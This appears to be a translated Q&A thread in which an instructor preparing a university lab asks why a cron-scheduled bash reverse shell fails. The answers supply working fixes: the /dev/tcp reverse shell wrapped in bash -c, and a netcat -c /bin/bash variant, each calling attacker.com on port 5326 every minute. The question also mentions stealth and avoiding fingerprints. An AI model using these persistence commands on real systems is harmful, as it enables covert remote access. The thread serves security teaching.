Bash反向Shell命令Cron作业不起作用-我放弃了

时间:2019-03-19 12:03:19

标签: linux bash cron netcat reverse-shell

我在一所大学教授网络安全,并正在编写有关Netcat和反向Shell的实验室。我创建了一个cron作业,该作业运行一个连接到我的侦听器的脚本。很好问题是指纹过多,可以删除脚本。实验室的一部分内容是进行隐身操作(例如在输入的任何命令前放置一个空格)。

我正在尝试执行此命令。目前,频率并不重要,尽管它最终会在启动时每30分钟运行一次。

/bin/bash -i >& /dev/tcp/attacker.com/5326 0>&1

从命令行运行时,该命令起作用,并且建立了反向外壳。我不想使用端口80,因为如果学生决定尝试某些愚蠢的事情,我会 DO 阻止该端口。另外,下一个实验也在iptables上以阻止此端口。

我尝试了引号。我尝试过sudo。末尾加双“&”号。末尾有单个“&”号。 / tcp /路径的进一步限定。我认为我不需要确定它从哪个tty会话运行(这很困难)。在任何情况下,cron-run命令都不会成功。

crontab -l

# Edit this file to introduce tasks to be run by cron.
# 
# Each task to run has to be defined through a single line
# indicating with different fields when the task will be run
# and what command to run for the task
# 
# To define the time you can provide concrete values for
# minute (m), hour (h), day of month (dom), month (mon),
# and day of week (dow) or use '*' in these fields (for 'any').# 
# Notice that tasks will be started based on the cron's system
# daemon's notion of time and timezones.
# 
# Output of the crontab jobs (including errors) is sent through
# email to the user the crontab file belongs to (unless redirected).
# 
# For example, you can run a backup of all your user accounts
# at 5 a.m every week with:
# 0 5 * * 1 tar -zcf /var/backups/home.tgz /home/
# 
# For more information see the manual pages of crontab(5) and cron(8)
# 
# m h  dom mon dow   command
* * * * * /bin/bash -i >& /dev/tcp/attacker.com/5326 0>&1

这是系统日志

cat /var/log/syslog 

Mar 19 07:42:01 raspberrypi CRON[12921]: (pi) CMD (/bin/bash -i >& /dev/tcp/attacker.com/5326 0>&1)
Mar 19 07:42:01 raspberrypi CRON[12917]: (CRON) info (No MTA installed, discarding output)

它似乎并没有失败……只是无法正常工作。

对于许多比我聪明的人来说,我在做什么错了,如何使该命令作为cron作业工作(调用脚本不是一种选择)?

更新:解决方案是* * * * * /bin/bash -c 'bash -i >& /dev/tcp/attacker.com/5326 0>&1',尽管我仍在解决两个错误。

2 个答案:

答案 0 :(得分:4)

/dev/tcp bashism

请注意, /dev/tcp/host/port bashism

cron将无法理解它们!

您可以尝试:

* * * * * /bin/bash -c '/bin/bash -i >& /dev/tcp/attacker.com/5326 0>&1'

或使用非bash方式:

使用netcat作为示例:

* * * * * /usr/bin/nc -c /bin/bash\ -i attacker.com 5326 0>&1

(请参阅man nc.traditionalman nc.openbsd

答案 1 :(得分:1)

我怀疑您从命令行传递的argv数组与cron守护程序的argv数组之间不匹配。尽管我无法确定丢失的转义符是什么,但这是诊断它的一般方法:

dev2

如果您将其编译为二进制文件并在两种情况下均使用args运行,则应该看到区别:

void main(int argc, char **argv) {
  for( int i=0; i<argc; i++) 
    printf("%d: '%s'\n",i,argv[i])
}

与之相对:

./a.out -i >& /dev/tcp/attacker.com/5326 0>&1

如果argv没什么区别,那么* * * * * /path/a.out -i >& /dev/tcp/attacker.com/5326 0>&1 >&不会被命令行bash进程处理(而不是被启动),并应用于bash shell。运行以使攻击者二进制文件没有重定向,但其父进程可以重定向?

编辑:

F。 Hauri提出了一个很好的观点,但您可能希望在crotab中做到的是:

0>&1

(或者他们可以编辑答案,/ path / a.out部分错误)

Edit2-捕获输出:

* * * * * /bin/bash -c 'bash -i >& /dev/tcp/attacker.com/5326 0>&1'